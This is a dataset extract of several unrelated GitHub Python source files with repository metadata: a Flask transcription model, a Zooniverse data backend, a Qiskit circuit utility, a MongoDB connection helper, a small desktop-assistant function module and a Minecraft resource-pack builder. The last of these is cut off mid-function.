{"seq_id": "10482039016", "text": "\"\"\"\nModels for \"audio transcribe\" package.\n\"\"\"\nimport os\n\nfrom flask import current_app\nfrom sqlalchemy import func, Index\nfrom sqlalchemy import UniqueConstraint\n\nfrom app.common.utils import get_s3_download_link, do_nothing\nfrom app import db\nfrom app.base.models import BaseModel\nfrom app.base.model_fields import LCString\nfrom app.base.model_fields import ChoiceString\nfrom app.resources.audio_transcribe import constants as ATPROGRESS\n\n\nclass AudioTranscribe(BaseModel):\n\n    __tablename__ = 'audio_transcribe'\n\n    root_file_folder_key = 'AUDIO_TRANSCRIBE_FILE_FOLDER'\n\n    title = db.Column(db.String(128), nullable=False)\n    created_by = db.Column(db.Integer, db.ForeignKey('user.id'),\n                           nullable=False)\n    updated_by = db.Column(db.Integer, db.ForeignKey('user.id'),\n                           nullable=False)\n    filename = db.Column(db.String())\n    email = db.Column(LCString(128), nullable=False)\n    progress = db.Column(ChoiceString(ATPROGRESS.AT_PROGRESS_TYPE_CHOICES),\n                             nullable=False, default=ATPROGRESS.AT_PENDING)\n    err_msg = db.Column(db.String())\n    email_status = db.Column(db.Boolean, default=False)\n    acc_id = db.Column(db.Integer, db.ForeignKey('account.id'),\n                           nullable=True)\n    transcript_job_name = db.Column(db.String())\n\n    # dynamic properties\n    file_url = None\n    transcript_url = None\n\n    __table_args__ = (\n        # unique lower case index, i.e case-insensitive unique constraint\n        Index('audio_transcribe_unique_title', func.lower(title),\n              unique=True),\n    )\n\n    # relationships\n    account = db.relationship('Account', backref=db.backref(\n        'audio_account_id', lazy='dynamic'))\n\n    def __init__(self, row_id=None, *args, **kwargs):\n        self.row_id = row_id\n        super(AudioTranscribe, self).__init__(*args, **kwargs)\n\n    def __repr__(self):\n        return '<AudioTranscribe %r>' % (self.row_id)\n\n    def load_urls(self, with_redirect=False, expires_in=3600):\n        \"\"\"\n        Populates the file_url dynamic properties\n        \"\"\"\n\n        if (not self.filename and not self.title):\n            return\n        sub_folder = self.file_subfolder_name()\n        if current_app.config['S3_UPLOAD']:\n            signer = get_s3_download_link\n        else:\n            signer = do_nothing\n        if self.filename:\n            self.file_url = signer(os.path.join(\n                current_app.config[self.root_file_folder_key],\n                sub_folder, self.filename), expires_in=expires_in)\n        if self.title:\n            if self.progress == ATPROGRESS.AT_COMPLETED:\n                temp_title = \"_\".join( self.title.split() )\n                self.transcript_url = signer(os.path.join(\n                    current_app.config[self.root_file_folder_key],\n                    sub_folder, temp_title + '.txt'), expires_in=expires_in)\n        return\n", "repo_name": "Witzcode0/Exchange-connect", "sub_path": "app/resources/audio_transcribe/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2912, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "app.base.models.BaseModel", "line_number": 18, "usage_type": "name"}, {"api_name": "app.db.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "app.db", "line_number": 24, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 24, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 25, "usage_type": "call"}, {"api_name": "app.db", "line_number": 25, "usage_type": "name"}, {"api_name": "app.db.Integer", "line_number": 25, "usage_type": "attribute"}, {"api_name": "app.db.ForeignKey", "line_number": 25, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 27, "usage_type": "call"}, {"api_name": "app.db", "line_number": 27, "usage_type": "name"}, {"api_name": "app.db.Integer", "line_number": 27, "usage_type": "attribute"}, {"api_name": "app.db.ForeignKey", "line_number": 27, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 29, "usage_type": "call"}, {"api_name": "app.db", "line_number": 29, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 29, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 30, "usage_type": "call"}, {"api_name": "app.db", "line_number": 30, "usage_type": "name"}, {"api_name": "app.base.model_fields.LCString", "line_number": 30, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 31, "usage_type": "call"}, {"api_name": "app.db", "line_number": 31, "usage_type": "name"}, {"api_name": "app.base.model_fields.ChoiceString", "line_number": 31, "usage_type": "call"}, {"api_name": "app.resources.audio_transcribe.constants.AT_PROGRESS_TYPE_CHOICES", "line_number": 31, "usage_type": "attribute"}, {"api_name": "app.resources.audio_transcribe.constants", "line_number": 31, "usage_type": "name"}, {"api_name": "app.resources.audio_transcribe.constants.AT_PENDING", "line_number": 32, "usage_type": "attribute"}, {"api_name": "app.resources.audio_transcribe.constants", "line_number": 32, "usage_type": "name"}, {"api_name": "app.db.Column", "line_number": 33, "usage_type": "call"}, {"api_name": "app.db", "line_number": 33, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 33, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 34, "usage_type": "call"}, {"api_name": "app.db", "line_number": 34, "usage_type": "name"}, {"api_name": "app.db.Boolean", "line_number": 34, "usage_type": "attribute"}, {"api_name": "app.db.Column", "line_number": 35, "usage_type": "call"}, {"api_name": "app.db", "line_number": 35, "usage_type": "name"}, {"api_name": "app.db.Integer", "line_number": 35, "usage_type": "attribute"}, {"api_name": "app.db.ForeignKey", "line_number": 35, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 37, "usage_type": "call"}, {"api_name": "app.db", "line_number": 37, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 37, "usage_type": "call"}, {"api_name": "sqlalchemy.Index", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlalchemy.func.lower", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 45, "usage_type": "name"}, {"api_name": "app.db.relationship", "line_number": 50, "usage_type": "call"}, {"api_name": "app.db", "line_number": 50, "usage_type": "name"}, {"api_name": "app.db.backref", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.current_app.config", "line_number": 68, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 68, "usage_type": "name"}, {"api_name": "app.common.utils.get_s3_download_link", "line_number": 69, "usage_type": "name"}, {"api_name": "app.common.utils.do_nothing", "line_number": 71, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask.current_app.config", "line_number": 74, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 74, "usage_type": "name"}, {"api_name": "app.resources.audio_transcribe.constants.AT_COMPLETED", "line_number": 77, "usage_type": "attribute"}, {"api_name": "app.resources.audio_transcribe.constants", "line_number": 77, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "flask.current_app.config", "line_number": 80, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 80, "usage_type": "name"}]}
{"seq_id": "21077994918", "text": "from .utils import NpEncoder\nfrom panoptes_client import Workflow, Project, SubjectSet\nimport json\nimport tqdm\nimport os\nimport numpy as np\nfrom astropy.io import ascii\nfrom flask import Blueprint\nimport urllib.request as request\n\n\nproject_ids = [17032, 16696, 14993]\nproject_subject_sets = {\n    '14993': [112229, 112230, 112374, 112376, 112378,\n              112381, 112397, 112398, 112399, 112400,\n              112471, 112499, 112852, 112856, 112864,\n              112873, 112874, 112937, 112938, 112968,\n              112969, 112996, 112997]\n}\nBATCH_SIZE = 200\n\nproject_bp = Blueprint(\"project\", __name__)\n\n\n@project_bp.route('/backend/get-workflow-subjects/<workflow_id>', methods=['GET'])\ndef get_workflow_data(workflow_id):\n    workflow = Workflow(workflow_id)\n\n    n_subjects = workflow.subjects_count\n\n    if os.path.exists(f'{workflow_id}_subjects.json'):\n        with open(f'{workflow_id}_subjects.json', 'r') as infile:\n            data = json.load(infile)\n        if len(data) != n_subjects:\n            get_subjects_for_workflow(workflow_id)\n    else:\n        get_subjects_for_workflow(workflow_id)\n\n    subjects_data, variables, dtypes = process_subjects_from_json(f'{workflow_id}_subjects.json')\n\n    return json.dumps({'subjects': subjects_data, 'variables': variables, 'dtypes': dtypes}, cls=NpEncoder)\n\n\n@project_bp.route('/backend/get-project-subjects/<project_id>', methods=['GET'])\ndef get_project_data(project_id):\n    project = Project(project_id)\n\n    if project_id not in project_subject_sets:\n        return json.dumps({'error': f'Project {project_id} is not set up yet'})\n    subject_sets = project_subject_sets[project_id]\n\n    n_subjects = 0\n    for subject_set in subject_sets:\n        sset = SubjectSet(subject_set)\n        sset.reload()\n        n_subjects += sset.set_member_subjects_count\n\n    if os.path.exists(f'{project_id}_subjects.json'):\n        with open(f'{project_id}_subjects.json', 'r') as infile:\n            data = json.load(infile)\n        print(f'Loading {len(data)} subjects from {project_id}_subjects.json')\n        if len(data) != n_subjects:\n            get_subjects_for_project(project_id, n_subjects)\n    else:\n        get_subjects_for_project(project_id, n_subjects)\n\n    subjects_data, variables, dtypes = process_subjects_from_json(f'{project_id}_subjects.json')\n\n    return json.dumps({'subjects': subjects_data, 'variables': variables, 'dtypes': dtypes}, cls=NpEncoder)\n\n\ndef process_subjects_from_json(json_file):\n    with open(json_file, 'r') as infile:\n        subjects_data = json.load(infile)\n\n    names = subjects_data[0].keys()\n    variables = [n for n in names if n not in ['url', 'subject_ID']]\n    dtypes = dict(zip(variables, [str(np.asanyarray([sub[v] for sub in subjects_data[:100]]).dtype) for v in variables]))\n\n    return subjects_data, variables, dtypes\n\n\ndef get_subjects_for_project(project_id, n_subjects):\n    subject_sets = project_subject_sets[project_id]\n\n    subjects = get_subjects_from_subject_sets(subject_sets, n_subjects)\n\n    with open(f'{project_id}_subjects.json', 'w') as outfile:\n        json.dump(subjects, outfile)\n\n\ndef get_subjects_for_workflow(workflow_id):\n    workflow = Workflow(workflow_id)\n\n    subject_sets = list(workflow.links.subject_sets)\n\n    subjects = []\n\n    subjects = get_subjects_from_subject_sets(subject_sets, workflow.subjects_count)\n    \n    with open(f'{workflow_id}_subjects.json', 'w') as outfile:\n        json.dump(subjects, outfile)\n\n\ndef get_subjects_from_subject_sets(subject_sets, n_subjects):\n    subjects = []\n\n    with tqdm.tqdm(total=n_subjects) as pbar:\n        for subject_set in subject_sets:\n            page = 1\n            while page is not None:\n                pbar.set_postfix({'page': page, 'subject_set_id': subject_set.id})\n                req = request.Request(f\"https://www.zooniverse.org/api/subjects/?subject_set_id={subject_set.id}&page_size={BATCH_SIZE}&page={page}\")\n                req.add_header('accept', \"application/vnd.api+json; version=1\")\n                req.add_header('content-type', \"application/json\")\n                data = json.loads(request.urlopen(req).read())\n\n                meta = data['meta']['subjects']\n                page = meta['next_page']\n\n                for subject in data['subjects']:\n                    sub = {'subject_ID': subject['id']}\n                    for key in subject['metadata'].keys():\n                        metai = change_type(subject['metadata'][key])\n                        sub[key] = metai\n                    sub['url'] = img_url(subject['locations'])\n                    subjects.append(sub)\n\n                pbar.update(len(data['subjects']))\n    return subjects\n\n\ndef img_url(media):\n    urls = []\n    for url in media:\n        if 'image/png' in url:\n            urls.append(url['image/png'])\n        elif 'image/jpeg' in url:\n            urls.append(url['image/jpeg'])\n    return urls\n\n\ndef change_type(val):\n    if val.replace('.', '', 1).replace('-', '', 1).isnumeric():\n        try:\n            return int(val)\n        except ValueError:\n            return float(val)\n        except Exception:\n            return val\n    else:\n        return val\n", "repo_name": "ramanakumars/SubjectExplorer", "sub_path": "backend/project.py", "file_name": "project.py", "file_ext": "py", "file_size_in_byte": 5160, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Blueprint", "line_number": 22, "usage_type": "call"}, {"api_name": "panoptes_client.Workflow", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 33, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 41, "usage_type": "call"}, {"api_name": "utils.NpEncoder", "line_number": 41, "usage_type": "name"}, {"api_name": "panoptes_client.Project", "line_number": 46, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 49, "usage_type": "call"}, {"api_name": "panoptes_client.SubjectSet", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 60, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 69, "usage_type": "call"}, {"api_name": "utils.NpEncoder", "line_number": 69, "usage_type": "name"}, {"api_name": "json.load", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.asanyarray", "line_number": 78, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 89, "usage_type": "call"}, {"api_name": "panoptes_client.Workflow", "line_number": 93, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 102, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 108, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 113, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 113, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 116, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 116, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 116, "usage_type": "name"}]}
{"seq_id": "3563975198", "text": "from math import pi\r\nfrom random import uniform as randUniform\r\nfrom typing import List\r\n\r\nimport qiskit.providers.aer.noise as noise\r\nfrom qiskit import QuantumCircuit, execute, Aer\r\n\r\n\r\ndef get_random_params():\r\n    params = [randUniform(0, 2 * pi), randUniform(0, 2 * pi)]\r\n    return params\r\n\r\n\r\ndef get_counts(params: List[float or int], shots: int = 1000) -> dict:\r\n    \"\"\"\r\n    Here we run the circuit according to the given parameters for each gate and return the counts for each state.\r\n\r\n    :param params: List of the parameters of the RY and RX gates of the circuit.\r\n    :param shots: Total number of shots the circuit must execute\r\n    \"\"\"\r\n    # Error probabilities\r\n    prob_1 = 0.001  # 1-qubit gate\r\n    prob_2 = 0.01  # 2-qubit gate\r\n\r\n    # Depolarizing quantum errors\r\n    error_1 = noise.depolarizing_error(prob_1, 1)\r\n    error_2 = noise.depolarizing_error(prob_2, 2)\r\n\r\n    # Add errors to noise model\r\n    noise_model = noise.NoiseModel()\r\n    noise_model.add_all_qubit_quantum_error(error_1, ['u1', 'u2'])\r\n    noise_model.add_all_qubit_quantum_error(error_2, ['cx'])\r\n\r\n    # Get basis gates from noise model\r\n    basis_gates = noise_model.basis_gates\r\n\r\n    # Make a circuit\r\n    circ = QuantumCircuit(2, 2)\r\n\r\n    # Set gates and measurement\r\n    circ.ry(params[0], 0)\r\n    circ.rx(params[1], 1)\r\n    circ.cx(0, 1)\r\n    circ.measure([0, 1], [0, 1])\r\n\r\n    # Perform a noisy simulation and get the counts\r\n    # noinspection PyTypeChecker\r\n    result = execute(circ, Aer.get_backend('qasm_simulator'),\r\n                     basis_gates=basis_gates,\r\n                     noise_model=noise_model, shots=shots).result()\r\n    counts = result.get_counts(0)\r\n\r\n    return counts\r\n\r\n\r\ndef get_cost_vector(counts: dict) -> List[float]:\r\n    \"\"\"\r\n    This function simply gives values that represent how far away from our desired goal we are. Said desired goal is that\r\n    we get as close to 0 counts for the states |00> and |11>, and as close to 50% of the total counts for |01> and |10>\r\n    each.\r\n\r\n    :param counts: Dictionary containing the count of each state\r\n    :return: List of ints that determine how far the count of each state is from the desired count for that state:\r\n                -First element corresponds to |00>\r\n                -Second element corresponds to |01>\r\n                -Third element corresponds to |10>\r\n                -Fourth element corresponds to |11>\r\n    \"\"\"\r\n    # First we get the counts of each state. Try-except blocks are to avoid errors when the count is 0.\r\n    try:\r\n        a = counts['00']\r\n    except KeyError:\r\n        a = 0\r\n    try:\r\n        b = counts['01']\r\n    except KeyError:\r\n        b = 0\r\n    try:\r\n        c = counts['10']\r\n    except KeyError:\r\n        c = 0\r\n    try:\r\n        d = counts['11']\r\n    except KeyError:\r\n        d = 0\r\n\r\n    # We then want the total number of shots to know what proportions we should expect\r\n    totalShots = a + b + c + d\r\n\r\n    # We return the absolute value of the difference of each state's observed and desired counts\r\n    # Other systems to determine how far each state count is from the goal exist, but this one is simple and works well\r\n    return [abs(a - 0), abs(b - totalShots / 2), abs(c - totalShots / 2), abs(d - 0)]\r\n", "repo_name": "WingCode/QC_Superposition_Without_H", "sub_path": "quantum/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 3252, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "random.uniform", "line_number": 10, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 14, "usage_type": "name"}, {"api_name": "qiskit.providers.aer.noise.depolarizing_error", "line_number": 26, "usage_type": "call"}, {"api_name": "qiskit.providers.aer.noise", "line_number": 26, "usage_type": "name"}, {"api_name": "qiskit.providers.aer.noise.depolarizing_error", "line_number": 27, "usage_type": "call"}, {"api_name": "qiskit.providers.aer.noise", "line_number": 27, "usage_type": "name"}, {"api_name": "qiskit.providers.aer.noise.NoiseModel", "line_number": 30, "usage_type": "call"}, {"api_name": "qiskit.providers.aer.noise", "line_number": 30, "usage_type": "name"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 38, "usage_type": "call"}, {"api_name": "qiskit.execute", "line_number": 48, "usage_type": "call"}, {"api_name": "qiskit.Aer.get_backend", "line_number": 48, "usage_type": "call"}, {"api_name": "qiskit.Aer", "line_number": 48, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 56, "usage_type": "name"}]}
{"seq_id": "43338126725", "text": "from typing import Any, List, Optional\n\nfrom beanie import init_beanie, PydanticObjectId\nfrom models.events import Event\nfrom models.users import User\nfrom motor.motor_asyncio import AsyncIOMotorClient\nfrom pydantic import BaseSettings, BaseModel\n\n\nclass Settings(BaseSettings):\n    DATABASE_URL: Optional[str] = None\n\n    # 데이터베이스를 초기화하는 메서드\n    async def initialize_database(self):\n        client = AsyncIOMotorClient(self.DATABASE_URL) # 데이터베이스 URL은 Config 서브클래스에 정의된 환경 파일(env_file)에서 읽어온다.\n        await init_beanie(database=client.get_default_database(), document_models=[Event, User]) # 데이터베이스 클라이언트를 설정함.\n\n    class Config:\n        env_file = \".env\"\n\n\nclass Database:\n    def __init__(self, model): # 데이터베이스 초기화 중에 사용되는 모델은 Event 또는 User 문서의 모델\n        self.model = model\n\n    # 레코드 하나를 데이터베이스 컬렉션에 추가한다.\n    # 문서의 인스턴스를 받아서 데이터베이스 인스턴스에 전달함.\n    async def save(self, document) -> None:\n        await document.create()\n        return\n\n    # id를 인수로 받아서 컬렉션에서 일치하는 레코드를 조회\n    async def get(self, id: PydanticObjectId) -> Any:\n        doc = await self.model.get(id)\n        if doc:\n            return doc\n        return False\n\n    # 컬렉션에 있는 모든 레코드를 조회\n    async def get_all(self) -> List[Any]:\n        docs = await self.model.find_all().to_list()\n        return docs\n\n    async def update(self, id: PydanticObjectId, body: BaseModel) -> Any:\n        doc_id = id\n        des_body = body.dict()\n\n        des_body = {k: v for k, v in des_body.items() if v is not None}\n        update_query = {\"$set\": {\n            field: value for field, value in des_body.items()\n        }}\n\n        doc = await self.get(doc_id)\n        if not doc:\n            return False\n        await doc.update(update_query)\n        return doc\n\n    async def delete(self, id: PydanticObjectId) -> bool:\n        doc = await self.get(id)\n        if not doc:\n            return False\n        await doc.delete()\n        return True", "repo_name": "seopbo/web-with-fastapi", "sub_path": "planner/database/connection.py", "file_name": "connection.py", "file_ext": "py", "file_size_in_byte": 2228, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pydantic.BaseSettings", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 11, "usage_type": "name"}, {"api_name": "motor.motor_asyncio.AsyncIOMotorClient", "line_number": 15, "usage_type": "call"}, {"api_name": "beanie.init_beanie", "line_number": 16, "usage_type": "call"}, {"api_name": "models.events.Event", "line_number": 16, "usage_type": "name"}, {"api_name": "models.users.User", "line_number": 16, "usage_type": "name"}, {"api_name": "beanie.PydanticObjectId", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 40, "usage_type": "name"}, {"api_name": "beanie.PydanticObjectId", "line_number": 44, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 44, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 44, "usage_type": "name"}, {"api_name": "beanie.PydanticObjectId", "line_number": 59, "usage_type": "name"}]}
{"seq_id": "73047822024", "text": "import os\nimport subprocess as sp\nimport wikipedia\nimport pywhatkit as kit\nfrom decouple import config\nfrom email.message import EmailMessage\nimport smtplib\nimport webbrowser\n\nEMAIL = config(\"EMAIL\")\nPASSWORD = config(\"PASSWORD\")\n\npaths = {\n    'notepad': \"/System/Applications/TextEdit.app/Contents/MacOS/TextEdit\",\n    'calculator': \"/System/Applications/Calculator.app/Contents/MacOS/Calculator\",\n    'terminal': \"/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal\",\n    'email': \"/Applications/Microsoft Outlook.app/Contents/MacOS/Microsoft Outlook\",\n    'teams': \"/Applications/Microsoft Teams.app/Contents/MacOS/Microsoft Teams\"\n}\n\ndef open_program(program):\n    sp.Popen(paths[program])\n\ndef search_wikipedia(query):\n    results = wikipedia.summary(query)\n    return results\n\ndef play_youtube(video):\n    kit.playonyt(video)\n\ndef google_search(query):\n    kit.search(query)\n\ndef send_email(receiver_email, subject, message):\n    try:\n        email = EmailMessage()\n        email['To'] = receiver_email\n        email[\"Subject\"] = subject\n        email['From'] = EMAIL\n        email.set_content(message)\n        s = smtplib.SMTP(\"smtp-mail.outlook.com\", 587)\n        s.starttls()\n        s.login(EMAIL, PASSWORD)\n        s.send_message(email)\n        s.close()\n        return True\n    except Exception as e:\n        print(e)\n        return False\n\ndef open_Tempora():\n    webbrowser.open('https://www.gototempora.com/HostedTempora/Content/TimeEntry/TimeEntry.aspx')", "repo_name": "carlachiodi-2i/CodingWeeklyTasks", "sub_path": "Challenge10-AI/functions.py", "file_name": "functions.py", "file_ext": "py", "file_size_in_byte": 1486, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "decouple.config", "line_number": 10, "usage_type": "call"}, {"api_name": "decouple.config", "line_number": 11, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 22, "usage_type": "call"}, {"api_name": "wikipedia.summary", "line_number": 25, "usage_type": "call"}, {"api_name": "pywhatkit.playonyt", "line_number": 29, "usage_type": "call"}, {"api_name": "pywhatkit.search", "line_number": 32, "usage_type": "call"}, {"api_name": "email.message", "line_number": 36, "usage_type": "name"}, {"api_name": "email.message.EmailMessage", "line_number": 36, "usage_type": "call"}, {"api_name": "email.message", "line_number": 37, "usage_type": "name"}, {"api_name": "email.message", "line_number": 38, "usage_type": "name"}, {"api_name": "email.message", "line_number": 39, "usage_type": "name"}, {"api_name": "email.message.set_content", "line_number": 40, "usage_type": "call"}, {"api_name": "email.message", "line_number": 40, "usage_type": "name"}, {"api_name": "smtplib.SMTP", "line_number": 41, "usage_type": "call"}, {"api_name": "email.message", "line_number": 44, "usage_type": "argument"}, {"api_name": "webbrowser.open", "line_number": 52, "usage_type": "call"}]}
{"seq_id": "16514364188", "text": "\nimport armor_stand_geo_class as asgc\nimport armor_stand_class ,structure_reader ,animation_class ,manifest ,os ,glob ,json ,shutil \nimport render_controller_class as rcc\nimport big_render_controller as brc\nfrom shutil import copyfile\nfrom zipfile import ZIP_DEFLATED, ZipFile\nimport time\nimport os\n\ndebug=False\n\nwith open(\"lookups/nbt_defs.json\") as f:\n    nbt_def = json.load(f)\nclass structura:\n    def __init__(self,pack_name):\n        os.makedirs(pack_name)\n        self.timers={\"start\":time.time(),\"previous\":time.time()}\n        self.pack_name=pack_name\n        self.structure_files={}\n        self.rc=rcc.render_controller()\n        self.armorstand_entity = armor_stand_class.armorstand()\n        visual_name=pack_name\n        self.animation = animation_class.animations()\n        self.exclude_list=[\"minecraft:structure_block\",\"minecraft:air\"]\n        self.opacity=0.8\n        self.longestY=0\n        self.unsupported_blocks=[]\n        self.all_blocks={}\n        self.icon=\"lookups/pack_icon.png\"\n        self.dead_blocks={}\n    def set_icon(self,icon):\n        self.icon=icon\n    def set_opacity(self,opacity):\n        self.opacity=opacity\n    def add_model(self,name,file_name):\n        self.structure_files[name]={}\n        self.structure_files[name][\"file\"]=file_name\n        self.structure_files[name][\"offsets\"]=None\n    def set_model_offset(self,name,offset):\n        self.structure_files[name][\"offsets\"]=offset\n    def generate_nametag_file(self):\n        ## temp folder would be a good idea\n        name_tags=self.structure_files.keys()\n        fileName=\"{} Nametags.txt\".format(self.pack_name)\n        with open(fileName,\"w+\") as text_file:\n            text_file.write(\"These are the nametags used in this file\\n\")\n            for name in name_tags:\n                text_file.write(\"{}\\n\".format(name))\n    def make_big_model(self,offset):\n        self.rc=brc.render_controller()\n        file_names=[]\n        for name in list(self.structure_files.keys()):\n            file_names.append(self.structure_files[name][\"file\"])\n        struct2make=structure_reader.combined_structures(file_names,exclude_list=self.exclude_list)\n        self.structure_files[\"\"]={}\n        self.structure_files[\"\"][\"offsets\"]=[0,0,0]\n        self.structure_files[\"\"][\"offsets\"][1]= 0\n        \n        for i in range(12):\n            self.armorstand_entity.add_model(str(i))\n            self.rc.add_geometry(str(i))\n        self.big_offset=offset\n        self.all_blocks=self._add_blocks_to_geo(struct2make,\"\",export_big=True)\n        self.armorstand_entity.export(self.pack_name)\n    def generate_with_nametags(self):\n        update_animation=True\n        for model_name in self.structure_files.keys():\n            if self.structure_files[model_name][\"offsets\"] is None:\n                offset=[0,0,0]\n            else:\n                offset=self.structure_files[model_name][\"offsets\"]\n            self.rc.add_model(model_name)\n            self.armorstand_entity.add_model(model_name)\n            ## temp folder would be a good idea\n            copyfile(self.structure_files[model_name][\"file\"], \"{}/{}.mcstructure\".format(self.pack_name,model_name))\n            if debug:\n                print(self.structure_files[model_name]['offsets'])\n            struct2make = structure_reader.process_structure(self.structure_files[model_name][\"file\"])\n            blocks=self._add_blocks_to_geo(struct2make,model_name)\n            self.structure_files[model_name][\"block_list\"]=blocks\n            ##consider temp folder\n            self.armorstand_entity.export(self.pack_name)## this may be in the wrong spot, but transfered from 1.5\n        \n    def make_nametag_block_lists(self):\n        ## consider temp file\n        file_names=[]\n        for model_name in self.structure_files.keys():\n            file_name=\"{}-{} block list.txt\".format(self.pack_name,model_name)\n            file_names.append(file_name)\n            all_blocks = self.structure_files[model_name][\"block_list\"]\n            with open(file_name,\"w+\") as text_file:\n                text_file.write(\"This is a list of blocks, there is a known issue with variants, all blocks are reported as minecraft stores them\\n\")\n                for name in all_blocks.keys():\n                    commonName = name.replace(\"minecraft:\",\"\")\n                    text_file.write(\"{}: {}\\n\".format(commonName,all_blocks[name]))\n        return file_names\n    def make_big_blocklist(self):\n        ## consider temp file\n        file_name=\"{} block list.txt\".format(self.pack_name)\n        with open(file_name,\"w+\") as text_file:\n            text_file.write(\"This is a list of blocks, there is a known issue with variants, all blocks are reported as minecraft stores them\\n\")\n            for name in self.all_blocks.keys():\n                commonName = name.replace(\"minecraft:\",\"\")\n                \n                text_file.write(\"{}: {}\\n\".format(commonName,self.all_blocks[name]))\n\n    def _add_blocks_to_geo(self,struct2make,model_name,export_big=False):\n        [xlen, ylen, zlen] = struct2make.get_size()\n        \n        armorstand = asgc.armorstandgeo(model_name,alpha = self.opacity, size=[xlen, ylen, zlen], offsets=self.structure_files[model_name]['offsets'])\n\n        if ylen > self.longestY:\n            update_animation=True\n            longestY = ylen\n        else:\n            update_animation=False\n        for y in range(ylen):\n            \n            #creates the layer for controlling. Note there is implied formating here\n            #for layer names\n            if y<12:\n                armorstand.make_layer(y)\n                #adds links the layer name to an animation\n                if update_animation and not export_big:\n                    self.animation.insert_layer(y)\n            non_air=struct2make.get_layer_blocks(y)\n            for loc in non_air:\n                x=int(loc[0])\n                z=int(loc[1])\n                block = struct2make.get_block(x, y, z)\n                blk_name=block[\"name\"].replace(\"minecraft:\", \"\")\n                blockProp=self._process_block(block)\n                rot = blockProp[0]\n                top = blockProp[1]\n                variant = blockProp[2]\n                open_bit = blockProp[3]\n                data = blockProp[4]\n                skip = blockProp[5]\n                if debug:\n                    if not skip:\n                        armorstand.make_block(x, y, z, blk_name, rot = rot, top = top,variant = variant, trap_open=open_bit, data=data)\n                else:\n                    try:\n                        if not skip:\n                            armorstand.make_block(x, y, z, blk_name, rot = rot, top = top,variant = variant, trap_open=open_bit, data=data)\n                    except:\n                        self.unsupported_blocks.append(\"x:{} Y:{} Z:{}, Block:{}, Variant: {}\".format(x,y,z,block[\"name\"],variant))\n                        print(\"There is an unsuported block in this world and it was skipped\")\n                        print(\"x:{} Y:{} Z:{}, Block:{}, Variant: {}\".format(x,y,z,block[\"name\"],variant))\n                        if block[\"name\"] not in self.dead_blocks.keys():\n                            self.dead_blocks[block[\"name\"]]={}\n                        if type(variant) is list:\n                            variant=\"_\".join(variant)\n                        if variant not in self.dead_blocks[block[\"name\"]].keys():\n                            self.dead_blocks[block[\"name\"]][variant]=0\n                        self.dead_blocks[block[\"name\"]][variant]+=1\n            ## consider temp file\n        if export_big:\n            armorstand.export_big(self.pack_name)\n            self.animation.export_big(self.pack_name,self.big_offset)\n        else:\n            armorstand.export(self.pack_name)\n            self.animation.export(self.pack_name)\n        return struct2make.get_block_list()\n    def compile_pack(self):\n        ## consider temp file\n        nametags=list(self.structure_files.keys())\n       